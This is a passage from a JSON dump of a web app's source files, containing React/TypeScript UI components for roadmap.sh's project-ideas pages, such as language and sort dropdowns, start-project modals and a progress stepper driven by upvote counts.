items-center'}>\n              <Box size={15} className=\"mr-1\" strokeWidth={2} />\n              {activeGroupDetail\n                ? `Projects in ${activeGroupDetail?.title}`\n                : 'All Projects'}\n            </h3>\n            <p className=\"text-left\">\n              Matches found ({sortedVisibleProjects.length})\n            </p>\n          </div>\n\n          <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2\">\n            {sortedVisibleProjects.map((project) => (\n              <ProjectCard\n                key={project.slug}\n                project={project}\n                userCount={userCounts[project.slug] || 0}\n                status={'none'}\n              />\n            ))}\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ProjectsPageHeader.tsx",
    "content": "import { isLoggedIn } from '../../lib/jwt.ts';\nimport { showLoginPopup } from '../../lib/popup.ts';\n\nexport function ProjectsPageHeader() {\n  return (\n    <div className=\"bg-white py-3 sm:py-12\">\n      <div className=\"container\">\n        <div className=\"flex flex-col items-start bg-white sm:items-center\">\n          <h1 className=\"text-2xl font-bold sm:text-5xl\">Project Ideas</h1>\n          <p className=\"mt-1 text-sm sm:mt-4 sm:text-lg\">\n            Browse the ever-growing list of projects ideas and solutions.\n          </p>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/SelectLanguages.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { httpGet } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport { ChevronDown, Search, X } from 'lucide-react';\n\ntype SelectLanguagesProps = {\n  projectId: string;\n  selectedLanguage: string;\n  onSelectLanguage: (language: string) => void;\n};\n\nexport function SelectLanguages(props: SelectLanguagesProps) {\n  const { projectId, onSelectLanguage, selectedLanguage } = props;\n\n  const dropdownRef = useRef<HTMLDivElement>(null);\n  const searchInputRef = useRef<HTMLInputElement>(null);\n  const optionsRef = useRef<HTMLDivElement>(null);\n  const toast = useToast();\n\n  const [distinctLanguages, setDistinctLanguages] = useState<string[]>([]);\n  const [isOpen, setIsOpen] = useState(false);\n  const [searchQuery, setSearchQuery] = useState('');\n  const [highlightedIndex, setHighlightedIndex] = useState(0);\n\n  const filteredLanguages = distinctLanguages.filter((language) =>\n    language.toLowerCase().includes(searchQuery.toLowerCase()),\n  );\n\n  // Handle scrolling of highlighted option into view\n  useEffect(() => {\n    if (!isOpen || !optionsRef.current) {\n      return;\n    }\n\n    const options = optionsRef.current.getElementsByTagName('button');\n    const highlightedOption = options[highlightedIndex];\n    if (!highlightedOption) {\n      return;\n    }\n\n    const containerRect = optionsRef.current.getBoundingClientRect();\n    const optionRect = highlightedOption.getBoundingClientRect();\n\n    const isAbove = optionRect.top < containerRect.top;\n    const isBelow = optionRect.bottom > containerRect.bottom;\n\n    if (isAbove || isBelow) {\n      highlightedOption.scrollIntoView({\n        block: 'nearest',\n        behavior: 'instant',\n      });\n    }\n  }, [highlightedIndex, isOpen]);\n\n  const loadDistinctLanguages = async () => {\n    const { response, error } = await httpGet<string[]>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-list-project-languages/${projectId}`,\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to load project languages');\n      return;\n    }\n\n    setDistinctLanguages(response);\n  };\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n    setSearchQuery('');\n    setHighlightedIndex(0);\n  });\n\n  useEffect(() => {\n    loadDistinctLanguages().finally(() => {});\n  }, []);\n\n  useEffect(() => {\n    if (isOpen && searchInputRef.current) {\n      searchInputRef.current.focus();\n    }\n  }, [isOpen]);\n\n  const handleKeyDown = (e: React.KeyboardEvent) => {\n    switch (e.key) {\n      case 'ArrowDown':\n        e.preventDefault();\n        setHighlightedIndex((prev) =>\n          prev >= filteredLanguages.length - 1 ? 0 : prev + 1,\n        );\n        break;\n      case 'ArrowUp':\n        e.preventDefault();\n        setHighlightedIndex((prev) =>\n          prev <= 0 ? filteredLanguages.length - 1 : prev - 1,\n        );\n        break;\n      case 'Enter':\n        e.preventDefault();\n        if (filteredLanguages[highlightedIndex]) {\n          onSelectLanguage(filteredLanguages[highlightedIndex]);\n          setIsOpen(false);\n          setSearchQuery('');\n          setHighlightedIndex(0);\n        }\n        break;\n      case 'Escape':\n        setIsOpen(false);\n        setSearchQuery('');\n        setHighlightedIndex(0);\n        break;\n    }\n  };\n\n  return (\n    <div className=\"relative flex shrink-0\">\n      <div className=\"relative\">\n        <button\n          className=\"flex items-center gap-1 rounded-md border border-gray-300 py-1.5 pl-3 pr-2 text-xs font-medium text-gray-900\"\n          onClick={() => setIsOpen(!isOpen)}\n        >\n          {selectedLanguage || 'Select Language'}\n          <ChevronDown className=\"ml-1 h-4 w-4\" />\n        </button>\n        {selectedLanguage && (\n          <button\n            className=\"absolute -right-1.5 -top-1.5 flex h-4 w-4 items-center justify-center rounded-full bg-red-500 text-white hover:bg-red-600\"\n            onClick={(e) => {\n              e.stopPropagation();\n              onSelectLanguage('');\n            }}\n          >\n            <X className=\"size-3\" strokeWidth={2.5} />\n            <span className=\"sr-only\">Clear selection</span>\n          </button>\n        )}\n      </div>\n\n      {isOpen && (\n        <div\n          className=\"absolute right-0 top-full z-10 w-full min-w-[200px] max-w-[200px] translate-y-1.5 overflow-hidden rounded-md border border-gray-300 bg-white p-1 shadow-lg\"\n          ref={dropdownRef}\n          onKeyDown={handleKeyDown}\n        >\n          <div className=\"relative mb-1 px-1\">\n            <Search className=\"absolute left-3 top-1/2 h-4 w-4 -translate-y-1/2 text-gray-400\" />\n            <input\n              ref={searchInputRef}\n              type=\"text\"\n              className=\"w-full rounded-md border border-gray-200 py-1.5 pl-9 pr-3 text-sm focus:border-gray-300 focus:outline-hidden\"\n              placeholder=\"Search languages...\"\n              value={searchQuery}\n              onChange={(e) => {\n                setSearchQuery(e.target.value);\n                setHighlightedIndex(0);\n              }}\n            />\n          </div>\n          <div ref={optionsRef} className=\"max-h-[200px] overflow-y-auto\">\n            {filteredLanguages.map((language, index) => {\n              const isSelected = selectedLanguage === language;\n              const isHighlighted = index === highlightedIndex;\n\n              return (\n                <button\n                  key={language}\n                  className={`flex w-full items-center rounded-md px-4 py-1.5 text-left text-sm text-gray-700 hover:bg-gray-100 aria-selected:bg-gray-100 ${\n                    isHighlighted ? 'bg-gray-100' : ''\n                  }`}\n                  onClick={() => {\n                    onSelectLanguage(language);\n                    setIsOpen(false);\n                    setSearchQuery('');\n                    setHighlightedIndex(0);\n                  }}\n                  aria-selected={isSelected}\n                >\n                  {language}\n                </button>\n              );\n            })}\n            {filteredLanguages.length === 0 && (\n              <div className=\"px-4 py-2 text-sm text-gray-500\">\n                No languages found\n              </div>\n            )}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/SortProjects.tsx",
    "content": "import { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { ChevronDown } from 'lucide-react';\n\ntype SortOption = {\n  label: string;\n  value: string;\n};\n\nconst sortOptions: SortOption[] = [\n  { label: 'Latest First', value: 'latest' },\n  { label: 'Oldest First', value: 'oldest' },\n  { label: 'Highest Rating', value: 'rating' },\n];\n\ntype SortProjectsProps = {\n  selectedSort: string;\n  onSelectSort: (sort: string) => void;\n};\n\nexport function SortProjects(props: SortProjectsProps) {\n  const { selectedSort, onSelectSort } = props;\n  const [isOpen, setIsOpen] = useState(false);\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  const selectedOption =\n    sortOptions.find((option) => option.value === selectedSort) ||\n    sortOptions[0];\n\n  return (\n    <div className=\"relative shrink-0\" ref={dropdownRef}>\n      <button\n        className=\"flex items-center gap-1 rounded-md border border-gray-300 py-1.5 pl-3 pr-2 text-xs font-medium text-gray-900\"\n        onClick={() => setIsOpen(!isOpen)}\n      >\n        {selectedOption.label}\n        <ChevronDown className=\"ml-1 h-4 w-4\" />\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute right-0 top-full z-10 mt-1.5 min-w-[150px] overflow-hidden rounded-md border border-gray-300 bg-white shadow-lg\">\n          <div className=\"py-1\">\n            {sortOptions.map((option) => (\n              <button\n                key={option.value}\n                className={`flex w-full items-center px-4 py-1.5 text-left text-sm text-gray-700 hover:bg-gray-100 ${\n                  selectedSort === option.value ? 'bg-gray-100' : ''\n                }`}\n                onClick={() => {\n                  onSelectSort(option.value);\n                  setIsOpen(false);\n                }}\n              >\n                {option.label}\n              </button>\n            ))}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/StartProjectConfirmation.tsx",
    "content": "import { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { Modal } from '../Modal';\nimport { httpPost } from '../../lib/query-http';\nimport { useToast } from '../../hooks/use-toast';\nimport { Loader2Icon } from 'lucide-react';\nimport { projectStatusOptions } from '../../queries/project';\n\ntype StartProjectConfirmationProps = {\n  projectId: string;\n  onClose: () => void;\n};\n\nexport function StartProjectConfirmation(props: StartProjectConfirmationProps) {\n  const { onClose, projectId } = props;\n\n  const toast = useToast();\n\n  const { mutate: startProject, isPending: isStartingProject } = useMutation(\n    {\n      mutationFn: () => {\n        return httpPost<{\n          startedAt: Date;\n        }>(\n          `${import.meta.env.PUBLIC_API_URL}/v1-start-project/${projectId}`,\n          {},\n        );\n      },\n      onSettled: () => {\n        queryClient.invalidateQueries(projectStatusOptions(projectId));\n      },\n      onSuccess: () => {\n        onClose();\n      },\n      onError: (error) => {\n        toast.error(error?.message || 'Failed to start project');\n      },\n    },\n    queryClient,\n  );\n\n  return (\n    <Modal onClose={onClose} bodyClassName=\"h-auto p-4\">\n      <h2 className=\"mb-2 flex items-center gap-2.5 text-xl font-semibold\">\n        Start Project\n      </h2>\n      <p className=\"text-sm text-gray-500\">\n        Are you sure you want to start this project?\n      </p>\n\n      <div className=\"mt-4 grid grid-cols-2 gap-2\">\n        <button\n          onClick={onClose}\n          className=\"rounded-lg bg-gray-100 px-4 py-2 text-sm font-medium text-gray-500 hover:bg-gray-200\"\n        >\n          Cancel\n        </button>\n        <button\n          onClick={() => startProject()}\n          className=\"flex h-9 items-center justify-center gap-2 rounded-lg bg-purple-600 px-4 py-2 text-sm font-medium text-white hover:bg-purple-700\"\n        >\n          {isStartingProject ? (\n            <Loader2Icon className=\"h-4 w-4 animate-spin stroke-[2.5]\" />\n          ) : (\n            'Start Project'\n          )}\n        </button>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/StartProjectModal.tsx",
    "content": "import { Check, CopyIcon, ServerCrash } from 'lucide-react';\nimport { Modal } from '../Modal';\nimport { getRelativeTimeString } from '../../lib/date';\nimport { useEffect, useState } from 'react';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\nimport { httpPost } from '../../lib/http.ts';\nimport { CheckIcon } from '../ReactIcons/CheckIcon.tsx';\nimport { useCopyText } from '../../hooks/use-copy-text.ts';\n\ntype StartProjectModalProps = {\n  projectId: string;\n  onClose: () => void;\n  startedAt?: Date;\n  onStarted: (startedAt: Date) => void;\n};\n\nexport function StartProjectModal(props: StartProjectModalProps) {\n  const { onClose, startedAt, onStarted, projectId } = props;\n\n  const [isStartingProject, setIsStartingProject] = useState(true);\n  const [error, setError] = useState<string | null>();\n\n  const { isCopied, copyText } = useCopyText();\n\n  const projectUrl = `${import.meta.env.PUBLIC_APP_URL}/projects/${projectId}`;\n\n  const formattedStartedAt = startedAt ? getRelativeTimeString(startedAt) : '';\n\n  async function handleStartProject() {\n    if (!projectId || startedAt) {\n      return;\n    }\n\n    setIsStartingProject(true);\n    const { response, error } = await httpPost<{\n      startedAt: Date;\n    }>(`${import.meta.env.PUBLIC_API_URL}/v1-start-project/${projectId}`, {});\n\n    if (error || !response) {\n      setError(error?.message || 'Failed to start project');\n      setIsStartingProject(false);\n      return;\n    }\n\n    onStarted(response.startedAt);\n  }\n\n  useEffect(() => {\n    handleStartProject().finally(() => setIsStartingProject(false));\n  }, []);\n\n  if (error) {\n    return (\n      <Modal onClose={onClose} bodyClassName=\"h-auto text-red-500\">\n        <div className=\"flex flex-col items-center justify-center gap-2 pt-12 pb-10\">\n          <ServerCrash className={'h-6 w-6'} />\n          <p className=\"font-medium\">{error}</p>\n        </div>\n      </Modal>\n    );\n  }\n\n  if (isStartingProject) {\n    return (\n      <Modal onClose={onClose} bodyClassName=\"h-auto\">\n        <div className=\"flex flex-col items-center justify-center gap-4 pt-12 pb-10\">\n          <Spinner className={'h-6 w-6'} isDualRing={false} />\n          <p className=\"font-medium\">Starting project ..</p>\n        </div>\n      </Modal>\n    );\n  }\n\n  return (\n    <Modal\n      onClose={onClose}\n      bodyClassName=\"h-auto p-4 relative overflow-hidden\"\n      wrapperClassName={'max-w-md'}\n    >\n      <p className=\"-mx-4 -mt-4 flex items-center bg-yellow-200 px-3 py-2 text-sm text-yellow-900\">\n        <CheckIcon additionalClasses=\"mr-1.5 w-[15px] text-yellow-800 h-[15px]\" />\n        <span className=\"mr-1.5 font-normal\">Project started</span>{' '}\n        <span className=\"font-semibold\">{formattedStartedAt}</span>\n      </p>\n      <h2 className=\"mt-5 mb-1 text-2xl font-semibold text-gray-800\">\n        Start Building\n      </h2>\n      <p className=\"text-gray-700\">\n        Follow these steps to complete the project.\n      </p>\n\n      <div className=\"my-5 space-y-1.5 marker:text-gray-400\">\n        <p className=\"mt-1 rounded-lg bg-gray-200 p-2 text-sm text-gray-900\">\n          1. Create a new public repository on GitHub.\n        </p>\n\n        <p className=\"mt-1 rounded-lg bg-gray-200 p-2 text-sm text-gray-900\">\n          2. Complete the project according to the requirements and push your\n          code to the GitHub repository.\n        </p>\n\n        <p className=\"mt-1 rounded-lg bg-gray-200 p-2 text-sm text-gray-900\">\n          3. Add a README file with instructions to run the project and the{' '}\n          <button\n            onClick={() => {\n              copyText(projectUrl);\n            }}\n            className=\"font-semibold\"\n          >\n            {!isCopied && (\n              <span className=\"text-purple-600\">\n                project page URL\n                <CopyIcon\n                  className=\"relative -top-px ml-1 inline-block h-4 w-4\"\n                  strokeWidth={2.5}\n                />\n              </span>\n            )}\n            {isCopied && (\n              <>\n                copied URL\n                <Check className=\"inline-block h-4 w-4\" strokeWidth={2.5} />\n              </>\n            )}\n          </button>\n        </p>\n        <p className=\"mt-1 rounded-lg bg-gray-200 p-2 text-sm text-gray-900\">\n          4. Once done, submit your solution to help the others learn and get\n          feedback from the community.\n        </p>\n      </div>\n\n      <div className=\"mb-5\">\n        <p className=\"text-sm\">\n          If you get stuck, you can always ask for help in the community{' '}\n          <a\n            href=\"https://roadmap.sh/discord\"\n            target=\"_blank\"\n            className=\"font-medium underline underline-offset-2\"\n          >\n            chat on discord\n          </a>\n          .\n        </p>\n      </div>\n\n      <button\n        className=\"w-full rounded-md bg-black py-2 text-sm font-medium text-white hover:bg-gray-900\"\n        onClick={onClose}\n      >\n        Close\n      </button>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/StatusStepper/MilestoneStep.tsx",
    "content": "import { Check, type LucideIcon } from 'lucide-react';\n\ntype MilestoneStepProps = {\n  icon: LucideIcon;\n  text: string;\n  isCompleted?: boolean;\n  isActive?: boolean;\n};\n\nexport function MilestoneStep(props: MilestoneStepProps) {\n  const { icon: DisplayIcon, text, isActive = false, isCompleted } = props;\n\n  if (isActive) {\n    return (\n      <span className=\"flex cursor-default items-center gap-1.5 rounded-md border border-dashed border-current px-1.5 py-0.5 text-sm font-medium text-gray-400\">\n        <DisplayIcon size={14} />\n        <span>{text}</span>\n      </span>\n    );\n  }\n\n  if (isCompleted) {\n    return (\n      <span className=\"flex cursor-default items-center gap-1.5 text-sm font-medium text-green-600\">\n        <Check size={14} strokeWidth={3} />\n        <span>{text}</span>\n      </span>\n    );\n  }\n\n  return (\n    <span className=\"flex cursor-default items-center gap-1.5 text-sm text-gray-400\">\n      <DisplayIcon size={14} />\n      <span>{text}</span>\n    </span>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/StatusStepper/ProjectStepper.tsx",
    "content": "import { Flag, Play, Send, Share, Square, StopCircle, X } from 'lucide-react';\nimport { useEffect, useRef, useState } from 'react';\nimport { cn } from '../../../lib/classname';\nimport { useStickyStuck } from '../../../hooks/use-sticky-stuck';\nimport { StepperAction } from './StepperAction';\nimport { StepperStepSeparator } from './StepperStepSeparator';\nimport { MilestoneStep } from './MilestoneStep';\nimport { httpGet, httpPost } from '../../../lib/http';\nimport { StartProjectModal } from '../StartProjectModal';\nimport { getRelativeTimeString } from '../../../lib/date';\nimport { getUser, isLoggedIn } from '../../../lib/jwt';\nimport { showLoginPopup } from '../../../lib/popup';\nimport { SubmitProjectModal } from '../SubmitProjectModal';\nimport { useCopyText } from '../../../hooks/use-copy-text';\nimport { CheckIcon } from '../../ReactIcons/CheckIcon';\nimport { pageProgressMessage } from '../../../stores/page';\n\ntype ProjectStatusResponse = {\n  id?: string;\n\n  startedAt?: Date;\n  submittedAt?: Date;\n  repositoryUrl?: string;\n\n  upvotes: number;\n  downvotes: number;\n};\n\ntype ProjectStepperProps = {\n  projectId: string;\n};\n\nexport function ProjectStepper(props: ProjectStepperProps) {\n  const { projectId } = props;\n\n  const stickyElRef = useRef<HTMLDivElement>(null);\n  const isSticky = useStickyStuck(stickyElRef, 8);\n  const currentUser = getUser();\n\n  const [isStartingProject, setIsStartingProject] = useState(false);\n  const [isSubmittingProject, setIsSubmittingProject] = useState(false);\n  const { copyText, isCopied } = useCopyText();\n\n  const [isStoppingProject, setIsStoppingProject] = useState(false);\n\n  const [error, setError] = useState<string | null>(null);\n  const [activeStep, setActiveStep] = useState<number>(0);\n  const [isLoadingStatus, setIsLoadingStatus] = useState(true);\n  const [projectStatus, setProjectStatus] = useState<ProjectStatusResponse>({\n    upvotes: 0,\n    downvotes: 0,\n  });\n\n  async function loadProjectStatus() {\n    setIsLoadingStatus(true);\n\n    const { response, error } = await httpGet<ProjectStatusResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-project-status/${projectId}`,\n      {},\n    );\n\n    if (error || !response) {\n      setError(error?.message || 'Error loading project status');\n      setIsLoadingStatus(false);\n      return;\n    }\n\n    const { startedAt, submittedAt, upvotes } = response;\n\n    if (upvotes >= 10) {\n      setActiveStep(4);\n    } else if (upvotes >= 5) {\n      setActiveStep(3);\n    } else if (submittedAt) {\n      setActiveStep(2);\n    } else if (startedAt) {\n      setActiveStep(1);\n    }\n\n    setProjectStatus(response);\n    setIsLoadingStatus(false);\n  }\n\n  const stopProject = async () => {\n    setIsStoppingProject(true);\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-stop-project/${projectId}`,\n      {},\n    );\n\n    if (error || !response) {\n      setIsStoppingProject(false);\n      setError(error?.message || 'Error stopping project');\n      return;\n    }\n\n    pageProgressMessage.set('Update project status');\n    setActiveStep(0);\n    loadProjectStatus().finally(() => {\n      pageProgressMessage.set('');\n      setIsStoppingProject(false);\n    });\n  };\n\n  useEffect(() => {\n    loadProjectStatus().finally(() => {});\n  }, []);\n\n  const projectSolutionUrl = `${import.meta.env.DEV ? 'http://localhost:3000' : 'https://roadmap.sh'}/projects/${projectId}/solutions?u=${currentUser?.id}`;\n\n  return (\n    <div\n      ref={stickyElRef}\n      className={cn(\n        'relative top-0 -mx-4 my-5 overflow-hidden rounded-none border border-x-0 bg-white transition-all z-40 sm:sticky sm:mx-0 sm:rounded-lg sm:border-x',\n        {\n          'sm:-mx-5 sm:rounded-none sm:border-x-0 sm:border-t-0 sm:bg-gray-50':\n            isSticky,\n        },\n      )}\n    >\n      {isSubmittingProject && (\n        <SubmitProjectModal\n          onClose={() => setIsSubmittingProject(false)}\n          projectId={projectId}\n          onSubmit={(response) => {\n            const { repositoryUrl, submittedAt } = response;\n\n            setProjectStatus({\n              ...projectStatus,\n              repositoryUrl,\n              submittedAt,\n            });\n\n            setActiveStep(2);\n          }}\n          repositoryUrl={projectStatus.repositoryUrl}\n        />\n      )}\n      {isStartingProject && (\n        <StartProjectModal\n          projectId={projectId}\n          onStarted={(startedAt) => {\n            setProjectStatus({\n              ...projectStatus,\n              startedAt,\n            });\n            setActiveStep(1);\n          }}\n          startedAt={projectStatus?.startedAt}\n          onClose={() => setIsStartingProject(false)}\n        />\n      )}\n\n      {error && (\n        <div className=\"absolute inset-0 bg-red-100 p-2 text-sm text-red-500\">\n          {error}\n        </div>\n      )}\n      {isLoadingStatus && (\n        <div className={cn('striped-loader absolute inset-0 z-10 bg-white')} />\n      )}\n      <div\n        className={cn(\n          'bg-gray-100 px-4 py-2 text-sm text-gray-500 transition-colors sm:flex sm:items-center',\n          {\n            'bg-purple-600 text-white': isSticky,\n          },\n        )}\n      >\n        {activeStep === 0 && (\n          <>\n            Start building, submit solution and get feedback from the community.\n          </>\n        )}\n        {activeStep === 1 && (\n          <>\n            Started working&nbsp;\n            <span\n              className={cn('font-medium text-gray-800', {\n                'text-purple-200': isSticky,\n              })}\n            >\n              {getRelativeTimeString(projectStatus.startedAt!)}\n            </span>\n            . Follow&nbsp;\n            <button\n              className={cn('underline underline-offset-2 hover:text-black', {\n                'text-purple-100 hover:text-white': isSticky,\n              })}\n              onClick={() => {\n                setIsStartingProject(true);\n              }}\n            >\n              these tips\n            </button>\n            &nbsp;to get most out of it.\n          </>\n        )}\n        {activeStep >= 2 && (\n          <>\n            Congrats on submitting your solution.&nbsp;\n            <button\n              className={cn('underline underline-offset-2 hover:text-black', {\n                'text-purple-100 hover:text-white': isSticky,\n              })}\n              onClick={() => {\n                setIsSubmittingProject(true);\n              }}\n            >\n              View or update your submission.\n            </button>\n          </>\n        )}\n\n        {projectStatus?.startedAt && !projectStatus?.submittedAt && (\n          <button\n            className={cn(\n              'ml-auto hidden items-center gap-1.5 text-sm hover:text-black disabled:opacity-50 sm:flex',\n            )}\n            onClick={stopProject}\n            disabled={isStoppingProject}\n          >\n            <Square className=\"h-3 w-3 fill-current stroke-[2.5px]\" />\n            <span className=\"hidden md:inline\">Stop Working</span>\n            <span className=\"md:hidden\">Stop</span>\n          </button>\n        )}\n\n        {activeStep >= 2 && (\n          <button\n            className={cn(\n              'ml-auto hidden items-center gap-1 text-sm sm:flex',\n              isCopied ? 'text-green-500' : '',\n            )}\n            onClick={() => {\n              copyText(projectSolutionUrl);\n            }}\n          >\n            {isCopied ? (\n              <>\n                <CheckIcon additionalClasses=\"h-3 w-3\" />\n                Copied\n              </>\n            ) : (\n              <>\n                <Share className=\"h-3 w-3 stroke-[2.5px]\" />\n                <span className=\"hidden md:inline\">Share your Solution</span>\n                <span className=\"md:hidden\">Share</span>\n              </>\n            )}\n          </button>\n        )}\n      </div>\n\n      <div className=\"flex min-h-[60px] flex-col items-start justify-between gap-2 px-4 py-4 sm:flex-row sm:items-center sm:gap-3 sm:py-0\">\n        <StepperAction\n          isActive={activeStep === 0}\n          isCompleted={activeStep > 0}\n          icon={Play}\n          text={activeStep > 0 ? 'Started Working' : 'Start Working'}\n          number={1}\n          onClick={() => {\n            if (!isLoggedIn()) {\n              showLoginPopup();\n              return;\n            }\n\n            setIsStartingProject(true);\n          }}\n        />\n        <StepperStepSeparator isActive={activeStep > 0} />\n        <div className=\"flex items-center gap-2\">\n          <StepperAction\n            isActive={activeStep === 1}\n            isCompleted={activeStep > 1}\n            icon={Send}\n            onClick={() => {\n              if (!isLoggedIn()) {\n                showLoginPopup();\n                return;\n              }\n\n              setIsSubmittingProject(true);\n            }}\n            text={activeStep > 1 ? 'Submitted' : 'Submit Solution'}\n            number={2}\n          />\n\n          {activeStep > 1 && (\n            <>\n              <span className=\"text-gray-600 sm:hidden\">&middot;</span>\n              <button\n                className={cn(\n                  'flex items-center gap-2 text-sm sm:hidden',\n                  isCopied ? 'text-green-500' : 'text-gray-600',\n                )}\n                onClick={() => {\n                  copyText(projectSolutionUrl);\n                }}\n              >\n                {isCopied ? (\n                  <>\n                    <CheckIcon additionalClasses=\"h-3 w-3\" />\n                    URL Copied\n                  </>\n                ) : (\n                  <>\n                    <Share className=\"h-3 w-3 stroke-[2.5px]\" />\n                    Share your Solution\n                  </>\n                )}\n              </button>\n            </>\n          )}\n        </div>\n        <StepperStepSeparator isActive={activeStep > 1} />\n        <MilestoneStep\n          isActive={activeStep === 2}\n          isCompleted={activeStep > 2}\n          icon={Flag}\n          text={\n            activeStep == 2\n              ? `${projectStatus.upvotes} / 5 upvotes`\n              : `5 upvotes`\n          }\n        />\n        <StepperStepSeparator isActive={activeStep > 2} />\n        <MilestoneStep\n          isActive={activeStep === 3}\n          isCompleted={activeStep > 3}\n          icon={Flag}\n          text={\n            activeStep == 3\n              ? `${projectStatus.upvotes} / 10 upvotes`\n              : activeStep > 3\n                ? `${projectStatus.upvotes} upvotes`\n                : `10 upvotes`\n          }\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/StatusStepper/ProjectTrackingActions.tsx",
    "content": "import { CheckIcon, PlayIcon } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { StartProjectConfirmation } from '../StartProjectConfirmation';\nimport { projectStatusOptions } from '../../../queries/project';\nimport { queryClient } from '../../../stores/query-client';\nimport { useQuery } from '@tanstack/react-query';\nimport { cn } from '../../../lib/classname';\nimport { isLoggedIn } from '../../../lib/jwt';\nimport { showLoginPopup } from '../../../lib/popup';\nimport { getRelativeTimeString } from '../../../lib/date';\nimport { CompleteProjectConfirmation } from '../CompleteProjectConfirmation';\n\ntype ProjectTrackingActionsProps = {\n  projectId: string;\n};\n\nexport function ProjectTrackingActions(props: ProjectTrackingActionsProps) {\n  const { projectId } = props;\n\n  const { data: projectStatus } = useQuery(\n    projectStatusOptions(projectId),\n    queryClient,\n  );\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [isStartingProject, setIsStartingProject] = useState(false);\n  const [isCompletingProject, setIsCompletingProject] = useState(false);\n\n  useEffect(() => {\n    if (!projectStatus) {\n      return;\n    }\n\n    setIsLoading(false);\n  }, [projectStatus]);\n\n  const { startedAt, submittedAt } = projectStatus || {};\n  const formattedStartedAt = startedAt ? getRelativeTimeString(startedAt) : '';\n  const formattedSubmittedAt = submittedAt\n    ? getRelativeTimeString(submittedAt)\n    : '';\n  const isCompleted = !!submittedAt;\n\n  return (\n    <>\n      {isStartingProject && (\n        <StartProjectConfirmation\n          onClose={() => setIsStartingProject(false)}\n          projectId={projectId}\n        />\n      )}\n\n      {isCompletingProject && (\n        <CompleteProjectConfirmation\n          onClose={() => setIsCompletingProject(false)}\n          projectId={projectId}\n        />\n      )}\n\n      {!startedAt && (\n        <button\n          onClick={() => {\n            if (!isLoggedIn()) {\n              showLoginPopup();\n              return;\n            }\n\n            setIsStartingProject(true);\n          }}\n          className={cn(\n            'relative flex items-center gap-1.5 overflow-hidden rounded-full bg-purple-600 py-1 pr-2.5 pl-2 text-sm text-white hover:bg-purple-700',\n            isLoading && 'bg-white text-gray-500',\n          )}\n          disabled={isLoading}\n        >\n          <PlayIcon size={13} />\n          <span>Start Working</span>\n\n          {isLoading && (\n            <div\n              className={cn('striped-loader absolute inset-0 z-10 bg-white')}\n            />\n          )}\n        </button>\n      )}\n\n      {startedAt && !isLoading && (\n        <div className=\"flex flex-col gap-1\">\n          <button\n            onClick={() => setIsCompletingProject(true)}\n            className={cn(\n              'relative flex items-center gap-1.5 overflow-hidden rounded-full bg-green-600 py-1 pr-2.5 pl-2 text-sm text-white hover:bg-green-700',\n              isCompleted &&\n                'cursor-default bg-gray-200 text-gray-500 hover:bg-gray-200',\n            )}\n            disabled={isCompleted}\n          >\n            <CheckIcon size={13} className=\"stroke-[2.5]\" />\n            {isCompleted ? (\n              <span>Completed</span>\n            ) : (\n              <span>Mark as Completed</span>\n            )}\n          </button>\n\n          <div className=\"text-end text-xs text-gray-500\">\n            {isCompleted ? (\n              <>\n                Completed{' '}\n                <span className=\"font-medium\">{formattedSubmittedAt}</span>\n              </>\n            ) : (\n              <>\n                Started working{' '}\n                <span className=\"font-medium\">{formattedStartedAt}</span>\n              </>\n            )}\n          </div>\n        </div>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/StatusStepper/StepperAction.tsx",
    "content": "import { Check, type LucideIcon } from 'lucide-react';\n\ntype StepperActionProps = {\n  isActive?: boolean;\n  isCompleted?: boolean;\n  onClick?: () => void;\n  icon: LucideIcon;\n  text: string;\n  number: number;\n};\n\nexport function StepperAction(props: StepperActionProps) {\n  const {\n    isActive,\n    onClick = () => null,\n    isCompleted,\n    icon: DisplayIcon,\n    text,\n    number,\n  } = props;\n\n  if (isActive) {\n    return (\n      <button\n        onClick={onClick}\n        className=\"flex items-center gap-1.5 rounded-full bg-purple-600 py-1 pl-2 pr-2.5 text-sm text-white hover:bg-purple-700\"\n      >\n        <DisplayIcon size={13} />\n        <span>{text}</span>\n      </button>\n    );\n  }\n\n  if (isCompleted) {\n    return (\n      <span className=\"flex cursor-default items-center gap-1.5 text-sm font-medium text-green-600\">\n        <Check size={14} strokeWidth={3} />\n        <span>{text}</span>\n      </span>\n    );\n  }\n\n  return (\n    <span className=\"flex cursor-default items-center gap-1.5 text-sm text-gray-400\">\n      <span className=\"flex h-5 w-5 items-center justify-center rounded-full bg-gray-400/70 text-xs text-white\">\n        {number}\n      </span>\n      <span>{text}</span>\n    </span>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/StatusStepper/StepperStepSeparator.tsx",
